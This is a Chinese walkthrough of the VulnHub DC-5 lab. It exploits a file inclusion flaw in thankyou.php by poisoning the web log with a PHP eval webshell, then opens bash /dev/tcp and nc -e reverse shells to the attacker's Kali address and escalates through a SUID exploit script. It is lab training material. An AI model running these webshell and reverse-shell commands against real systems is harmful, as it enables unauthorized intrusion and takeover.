0x00 靶机环境
下载地址1:https://www.vulnhub.com/entry/dc-5,314/
下载地址2:https://pan.baidu.com/s/145lHlG6vhAvZaZq4tdzFnw 提取码: 9e43
只有一个flag
也只有一个切入点
,提示是页面刷新后会变化的东西。
开肝
0x01 渗透流程
nmap
走起
看服务
有两个端口,但是还是先看80
,毕竟题目都给了提示
点了一会,只发现了一个传参点,尝试了下注入,无果
接着又去扫了下目录,没发现什么有价值的点,只存在一个/images
目录。
没办法了,只能开个burpsuite
没事瞎点点,一会还真发现个有变化的地方。
在提交留言后,这里的日期会有变化 。同样的url
会在2017-2020
这四个数字中随机显示。但是除了这个thankyou
页面会有变化外,其他的页面日期是不会改变的。所以这里就有点奇怪了,难不成其它的页面和footer
和这个页面的footer
不一样,这里大概率是通过包含来生成的footer
的,就是不知道有没有漏洞了。
先尝试找到生成footer
的页面,最先尝试的就是footer.php
还真的有,f**k
,这么简单的文件居然没扫出来。。。这个文件就加深了推测的可能性,应该是有包含漏洞的,那接下来就是找到包含的参数名了,再扫一遍参数。
尝试包含index.php
很快就找到了参数。测试了结果,不支持php://input
,通过php://filter
读到了源码,证实了之前的猜想,index.php
文件中的footer
是写入的,并非包含。而thandyou.php
是包含的。
#thankyou.php
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Contact</title>
<link rel="stylesheet" href="css/styles.css">
</head>
<body>
<div class="body-wrapper">
<div class="header-wrapper">
<header>
DC-5 is alive!
</header>
</div>
<div class="menu-wrapper">
<menu>
<ul>
<a href="index.php"><li>Home</li></a>
<a href="solutions.php"><li>Solutions</li></a>
<a href="about-us.php"><li>About Us</li></a>
<a href="faq.php"><li>FAQ</li></a>
<a href="contact.php"><li>Contact</li></a>
</ul>
</menu>
</div>
<div class="body-content">
<h2>Thank You</h2>
<p>Thank you for taking the time to contact us.</p>
</div>
<div class="footer-wrapper">
<footer>
<?php
$file = $_GET['file'];
if(isset($file))
{
include("$file");
}
else
{
include("footer.php");
}
?>
</footer>
</div>
</div>
</body>
</html>
另外测试了远程文件包含也是失效的,所以想着直接拿shell
的方法也失败了。
那接下就只有一个答案了,包含日志拿shell
,先读个日志看看。
可以成功读取,那就写shell
即可thankyou.php?file=<?php @eval($_POST[1]);?>
,记得在burpsuite
中提交,直接在url
提交会被编码。
成功执行,之前扫得太狠了,日志非常慢,加载得特别慢,先试试菜刀连着
太卡了,通过bash
再反弹一个出来用kali
接着,bash -i >& /dev/tcp/192.168.181.141/12345 0>&1
又失败了。。
之前的dc4
也是无法反弹成功,下次做个总结。好在还有nc
,system('nc 192.168.181.141 12345 -e /bin/sh');
kali
上顺利接到shell
,搞来搞去,还不如直接将这命令写到access.log
呢
通过python
改善shell
环境,python -c 'import pty;pty.spawn("/bin/bash")'
下一步准备提权。suid
先看看呗。。
来了,suid
总是不让人失望阿。。。又有奇怪的提权方式,msf
走一波
将41154.sh
传到环境中去。
太惨了,www
连www
权限都没,传到/tmp
中去
给权限后运行
报错了,shell
格式问题,通过sed -i "s/\r//" 41154.sh
解决
但是脚本仍然失败了,是/etc/ld.so
存在的问题,只能尝试在本地编译好后再上传
给权限再次运行即可正常提权
0x02 总结
总是遇到bash
反弹不成功,查阅到资料,如果有下列错误
/bin/sh: 1:Syntax error:Bad fd number
可以将bash -i >& /dev/tcp/192.168.181.141/1111 0>&1
写入sh
文件后再执行,就可以成功反弹
但是在菜刀中这样执行仍然失败了
经过查询,这问题是由某些linux
系统中将sh
默认是链接到了dash
的缘故
解决办法如下:
sudo mv /bin/sh /bin/sh.orig
sudo ln -s /bin/bash /bin/sh
但是默认情况下,是没有修改这些文件权限的,所以目前来说,还是换其它反弹shell
的方法。